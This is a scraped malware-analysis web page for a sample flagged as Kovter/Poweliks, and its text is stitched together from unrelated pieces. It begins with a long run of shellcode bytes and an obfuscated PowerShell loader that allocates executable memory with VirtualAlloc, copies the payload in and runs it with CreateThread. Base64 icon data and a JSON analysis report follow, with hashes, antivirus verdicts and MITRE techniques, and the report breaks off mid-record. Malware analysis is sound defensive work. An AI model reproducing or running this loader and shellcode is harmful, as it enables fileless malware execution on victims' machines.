0x00 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x0F <#zwd#>0xB7 0x40 0x06 0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B <#py#>0xCE 0xC1 0xE1 0x03 0x8D 0x0C 0x89 <#se#>0x03 0xD1 0x89 0x95 0x50 <#ci#>0xFF 0xFF 0xFF 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B <#gxy#>0x52 0x10 0x52 0x8B 0x95 <#vt#>0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 <#jgp#>0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 <#hie#>0x0C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B 0x45 0xD0 0x8B <#cvx#>0x40 0x34 0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 <#yq#>0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x2B 0x50 0x34 0x89 0x55 <#rs#>0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0xA0 <#xp#>0x00 <#tyi#>0x00 0x00 0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B 0x45 <#drf#>0xEC 0x8B 0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 <#yuo#>0xD1 0xE8 0x48 0x85 0xC0 0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 0x0C <#ck#>0x8B 0xCA <#qw#>0x66 0x81 0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 0x83 0xF8 0x03 0x75 0x10 0x8B 0x45 0xE8 <#dc#>0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B <#ch#>0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF <#ivw#>0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 <#yug#>0x03 0x45 0xEC 0x89 <#nmz#>0x45 0xEC 0x8B 0x45 0xEC <#vad#>0x83 0x38 0x00 0x77 0x8A 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x89 0x50 0x34 0x68 <#ztf#>0xF8 0x00 0x00 0x00 0x8B 0x45 0xD0 0x50 0x8B 0x45 <#pi#>0xD4 <#vf#>0x8B 0x40 0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF <#tnn#>0xFF 0xFF 0x8B 0x45 0xD0 0x05 0x80 0x00 <#xye#>0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 <#wm#>0x78 <#pnf#>0x04 0x00 0x0F <#eda#>0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D 0xF8 0x57 0xFF 0x55 <#pq#>0xBC 0x8B 0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 0xF8 0x89 0x45 0x88 0xEB 0x0C <#sdh#>0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x84 0xEB 0x37 <#mg#>0x8B 0x45 0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 <#qxx#>0x53 <#ao#>0xFF 0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 0x83 0x45 0x88 <#qkv#>0x04 0x83 0x45 0x84 0x04 0x8B 0x45 0x88 0x83 0x38 <#gve#>0x00 0x75 0xC1 0x83 0x45 0x8C 0x14 0x8B 0x45 0x8C 0x8B 0x78 0x0C 0x85 <#mnr#>0xFF 0x0F 0x85 0x73 0xFF <#bje#>0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F 0x5E <#gpa#>0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 <#kwm#>0x61 0x72 0x65 0x5C 0x4F 0x33 0x5A 0x41 0x43 <#bn#>0x38 0x70 0x36 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#ag#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#kz#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#hyn#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#bvm#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x30 0x34 0x61 0x37 0x64 0x53 0x48 <#rhf#>0x54 0x32 0x35 0x00 0x00 <#bu#>0x00 0x00 0x00 0x00 0x00 0x17 0x34 0x73 0x1E 0x80 0xDC 0x47 0xFC 0x7D 0x0F 0xF3 0x95 0xC8 0xEA 0x03 <#nw#>0x33 0x83 0x02 0xD6 0xED <#yed#>0xBD 0x88 0x9E 0x60 0xD4 0x9C 0x04 0x00 0x00 0x00 <#mr#>0x00 0x00 <#ix#>0x00 0x00 <#eke#>0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C 0x00 0x3C 0x00 0x3A 0x00 0x3A 0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#epk#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1B 0x00 0x00 <#ekx#>0x00 0x00 0xAA 0x06 0x00 <#mnx#>0x55 0x8B 0xEC 0x60 <#uyd#>0x8B 0x7D 0x08 0x8B 0x75 0x0C 0x8B 0x4D 0x10 0xF3 0xA4 <#zrh#>0x61 0x5D 0xC2 0x0C 0x00 0x7D 0x80 0x33 0x61 0x92 0x23 0x74 <#hb#>0x97 0x06 0x11 0x9F 0x37 0xFE 0xCF 0x24 0x5F 0x77 0x04 0x8B 0x05 0x6B 0x61 0x0D 0x94 0x78 0x09 0x61 0xC3 0x4A 0xD9 0x3E 0x9B 0x5B 0x6A 0x21 0x2E 0xDB 0xA3 0x5B 0x80 0xBE 0x48 0x8A 0x8E 0x42 0xD0 0xE6 0x89 0x84 0x66 0x16 0x9D <#je#>0xDB 0xF3 0x6B 0xE6 0x19 0x85 0xC2 0x73 0xEE 0x7D 0x67 0x62 0x07 0x4D 0xA7 0x86 0xA9 0xB5 0x0F 0x28 0xDC 0xCC 0x64 0xB9 0x70 0x3B 0xE2 0xA4 0x62 0x7F 0x56 <#ia#>0x80 0x79 0x19 0x0A 0x62 0x1E 0xEF 0xA6 0x07 0xB9 0x67 0x88 0x09 0x2C; #wclodbjyvw $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #yxhcblswn if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #bcdqfjo for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #etsrljct ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #cfqvfpmslt }sleep(1200);}catch{}exit; #iqvpl #vaopbx")57:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAd3d3AAAAAAAAAAAAAAAAd3d3d3dwAAAAAAAAAAAAB3d3d3d3d3AAAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAAAAAAB3d3d3AAAAAAAAAAAAADEAAAAABwAAAAAAAAAAA7u7uzAAAAAAAAAAAAAAA7u7u7u7AAAAAAAAAAAAMzu7uzu7u7AwAAAAAAAACzC7uxAAA7u7CzAAAAAAAbsTuzCZEAALuzOzAAAAADu7C7sAmZkAA7uwuzAAAAO7szuzAJmZkQA7sLuzAAALu7M7swCZmZmRO7G7uzAAeIiDO7MAmZmZmTuxu7swAAeIh3iDAId3dxB7sbu7AAAAeIg4iACIiHAAiIG7sAAAAAf/GIhwiIEAB4h3hwAAAAAAf3f/h4cAAHiIGHAAAAAAAAOHj/+HE3j/93cAAAAAAAAAB3j//////3AAAAAAAAAAAAAAf////4cAAAAAAAAAAAAAAAB4iHcAAAAAAAAAAAAAd3d3d3d3d3d3AAAAAAAAAHd3d3d3d3d3dwAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAHeIh3d3d3cAAAAAAAAAAAAAeIiIiHcAAAAAAAAAAAAAAAAAdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/wAP//wAA//wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAYAAAAHAAAADwAAAA+AAAAfwAAAP+AAAH/wAAD//AAD//8AD/w==58:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAd3d3AAAAAAAAAAAAAAAAd3d3d3dwAAAAAAAAAAAAB3d3d3d3d3AAAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAAAAAAB3d3d3AAAAAAAAAAAAADEAAAAABwAAAAAAAAAAA7u7uzAAAAAAAAAAAAAAA7u7u7u7AAAAAAAAAAAAMzu7uzu7u7AwAAAAAAAACzC7uxAAA7u7CzAAAAAAAbsTuzCZEAALuzOzAAAAADu7C7sAmZkAA7uwuzAAAAO7szuzAJmZkQA7sLuzAAALu7M7swCZmZmRO7G7uzAAeIiDO7MAmZmZmTuxu7swAAeIh3iDAId3dxB7sbu7AAAAeIg4iACIiHAAiIG7sAAAAAf/GIhwiIEAB4h3hwAAAAAAf3f/h4cAAHiIGHAAAAAAAAOHj/+HE3j/93cAAAAAAAAAB3j//////3AAAAAAAAAAAAAAf////4cAAAAAAAAAAAAAAAB4iHcAAAAAAAAAAAAAd3d3d3d3d3d3AAAAAAAAAHd3d3d3d3d3dwAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAHeIh3d3d3cAAAAAAAAAAAAAeIiIiHcAAAAAAAAAAAAAAAAAdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/wAP//wAA//wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAYAAAAHAAAADwAAAA+AAAAfwAAAP+AAAH/wAAD//AAD//8AD/w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791600789905,"unified_at":"2026-10-10T02:53:09.905Z","metadata":{"hashes":{"sha256":"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","sha1":"574a56950ab7f860b9a34238058bdd57958222db","md5":"48974dd06ef7e2587826fb6d0e4fe7b0","sha512":"9672cc8820a63489992200778a2cdb5f73afc344db0462efbba1b592bdc042a6e7e50cf837faa283c3186dcf2d5656a5c7b067294db28dcf302981714cd7a992","ssdeep":"6144:e8ubWcC2hsfVfLg5+fTFZH/IWCvHRfdh8tkS8R9SqtJCAxAYUSEy9AfC0v:etSIhsRLE+fTFZgnvxfdh8tnDs0wAfSO","ssdeep_chunks":["6144:e8ubWcC","6144:8ubWcC2","6144:ubWcC2h","6144:bWcC2hs","6144:WcC2hsf","6144:cC2hsfV","6144:C2hsfVf","6144:2hsfVfL","6144:hsfVfLg","6144:sfVfLg5","6144:fVfLg5+","6144:VfLg5+f","6144:fLg5+fT","6144:Lg5+fTF","6144:g5+fTFZ","6144:5+fTFZH","6144:+fTFZH/","6144:fTFZH/I","6144:TFZH/IW","6144:FZH/IWC","6144:ZH/IWCv","6144:H/IWCvH","6144:/IWCvHR","6144:IWCvHRf","6144:WCvHRfd","6144:CvHRfdh","6144:vHRfdh8","6144:HRfdh8t","6144:Rfdh8tk","6144:fdh8tkS","6144:dh8tkS8","6144:h8tkS8R","6144:8tkS8R9","6144:tkS8R9S","6144:kS8R9Sq","6144:S8R9Sqt","6144:8R9SqtJ","6144:R9SqtJC","6144:9SqtJCA","6144:SqtJCAx","6144:qtJCAxA","6144:tJCAxAY","6144:JCAxAYU","6144:CAxAYUS","6144:AxAYUSE","6144:xAYUSEy","6144:AYUSEy9","6144:YUSEy9A","6144:USEy9Af","6144:SEy9AfC","6144:Ey9AfC0","6144:y9AfC0v","12288:e8ubWcC","12288:8ubWcC2","12288:ubWcC2h","12288:bWcC2hs","12288:WcC2hsf","12288:cC2hsfV","12288:C2hsfVf","12288:2hsfVfL","12288:hsfVfLg","12288:sfVfLg5","12288:fVfLg5+","12288:VfLg5+f","12288:fLg5+fT","12288:Lg5+fTF","12288:g5+fTFZ","12288:5+fTFZH","12288:+fTFZH/","12288:fTFZH/I","12288:TFZH/IW","12288:FZH/IWC","12288:ZH/IWCv","12288:H/IWCvH","12288:/IWCvHR","12288:IWCvHRf","12288:WCvHRfd","12288:CvHRfdh","12288:vHRfdh8","12288:HRfdh8t","12288:Rfdh8tk","12288:fdh8tkS","12288:dh8tkS8","12288:h8tkS8R","12288:8tkS8R9","12288:tkS8R9S","12288:kS8R9Sq","12288:S8R9Sqt","12288:8R9SqtJ","12288:R9SqtJC","12288:9SqtJCA","12288:SqtJCAx","12288:qtJCAxA","12288:tJCAxAY","12288:JCAxAYU","12288:CAxAYUS","12288:AxAYUSE","12288:xAYUSEy","12288:AYUSEy9","12288:YUSEy9A","12288:USEy9Af","12288:SEy9AfC","12288:Ey9AfC0","12288:y9AfC0v","6144:etSIhsR","6144:tSIhsRL","6144:SIhsRLE","6144:IhsRLE+","6144:hsRLE+f","6144:sRLE+fT","6144:RLE+fTF","6144:LE+fTFZ","6144:E+fTFZg","6144:+fTFZgn","6144:fTFZgnv","6144:TFZgnvx","6144:FZgnvxf","6144:Zgnvxfd","6144:gnvxfdh","6144:nvxfdh8","6144:vxfdh8t","6144:xfdh8tn","6144:fdh8tnD","6144:dh8tnDs","6144:h8tnDs0","6144:8tnDs0w","6144:tnDs0wA","6144:nDs0wAf","6144:Ds0wAfS","6144:s0wAfSO"],"imphash":"bef40bc1b92b46a02b66ed837f361d00","pehash":"e4e2229f1d210b2381bff3b372682470e4a146e9"},"file_info":{"file_name":"bounty-78427025687806819","file_type":["peexe","executable"],"file_type_id":"exe","file_size":360690,"entropy":7.6,"compile_timestamp":"2009-01-10T17:00:07","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1729077076000,"last_seen":1788134598000,"last_multi_scan":1788134598000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":8,"import_count":0,"export_count":0,"embedded_file_count":8,"sections":[{"name":".text!","virtual_address":"0x1000","virtual_size":69632,"raw_size":66560},{"name":".data!","virtual_address":"0x12000","virtual_size":259524,"raw_size":259584},{"name":".rdata!","virtual_address":"0x52000","virtual_size":5032,"raw_size":5120},{"name":".bss!","virtual_address":"0x54000","virtual_size":20480},{"name":".idata=","virtual_address":"0x59000","virtual_size":6240,"raw_size":6656},{"name":".CRT!","virtual_address":"0x5b000","virtual_size":52,"raw_size":512},{"name":".tls@","virtual_address":"0x5c000","virtual_size":32,"raw_size":512},{"name":".rsrc@","virtual_address":"0x5d000","virtual_size":19888,"raw_size":19968}],"section_names":[".text!",".data!",".rdata!",".bss!",".idata=",".CRT!",".tls@",".rsrc@"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["hyteod","kovter","stealer","kryptik","criminal","ransomware","clickfraud","wowlik"]},"stats":{"av":{"malicious_count":18,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":2,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":86},"sandbox_signatures":{"informative_count":233,"suspicious_count":14,"malicious_count":8,"total":255},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Poweliks","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Poweliks.Dropper.2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Dropper.Kovter-7079846-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Poweliks.Dropper.2 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.FMXV trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Kryptik.oa!s1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HVM:Trojan/Injector.b","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 006621071 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Kovter-Z","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"GenericRXAX-YL!48974DD06EF7","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/S-6848f14b!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.WSS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"TrojWare.Win32.Ransom.Locky.XST","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Kryptik.Win32.1000907","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Poweliks.Dropper.Generic","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"Kovter","sources":[{"report_type":"qsp","report_id":""}]}]},"mitre_attacks":[{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Privilege Escalation","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"},{"type":"suspicious","value":"Contains ability to update the user profile"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Able to use GrayString API for text rendering"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve User Agents (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to retrieve name of the domain controller for the current domain (API string)"},{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS 